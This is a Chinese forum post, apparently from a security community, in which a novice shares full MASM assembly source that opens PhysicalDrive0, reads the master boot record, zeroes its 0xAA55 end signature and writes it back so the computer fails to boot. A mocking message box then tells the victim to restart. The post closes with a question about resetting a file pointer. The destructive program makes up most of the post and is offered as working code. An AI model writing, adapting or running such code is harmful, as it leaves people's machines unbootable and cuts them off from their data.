在网上闲逛发现有前人在网上发的资料 说用CreateFile就可以读写MBR
以前总以为这么重要的东西Windows不会让人碰 让动的话起码得有Ring0权限
在网上问了下果然好多人说不可以改写MBR必须要提高权限或者改写驱动
本人菜鸟还没有到写驱动的能力 用前人的资料试了下果然可以改写
看来不能光听别人说还得身体力行才行
下面附上本人写的一个小程序源码 破坏MBR最后的结束标志0AA55h
.386
.model flat, stdcall
option casemap: none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
.data
szFileName db '\\.\PhysicalDrive0', 0
szCaption db 'Made By ZuChen', 0
szText db '呵呵,重启下计算机看看有什么精彩的发现', 0dh, 0ah
db '如果不能解决可以来找我哦', 0
.data?
hDriver dd ?
szReadBuffer db 512 dup (?)
dwBytesRead dd ?
.code
start:
invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
mov hDriver, eax
.if hDriver == INVALID_HANDLE_VALUE
invoke ExitProcess, NULL
.endif
invoke ReadFile, hDriver, addr szReadBuffer,\
sizeof szReadBuffer, addr dwBytesRead, 0
.if eax == 0
invoke ExitProcess, NULL
.endif
invoke CloseHandle, hDriver
invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
mov hDriver, eax
mov byte ptr [szReadBuffer + 510], 00h
mov byte ptr [szReadBuffer + 511], 00h
invoke WriteFile, hDriver, addr szReadBuffer,\
sizeof szReadBuffer, addr dwBytesRead, 0
.if eax == 0
invoke ExitProcess, NULL
.endif
invoke CloseHandle, hDriver
invoke MessageBox, NULL, offset szText, offset szCaption, MB_OK
invoke ExitProcess, NULL
end start
小弟还有一点不知道的就是在恢复文件指针的时候调用SetFilePointer函数失败结果只能关闭文件然后再打开一次让指针复位 有没有兄弟知道直接让指针复位的方法 谢啦
[课程]Linux pwn 探索篇!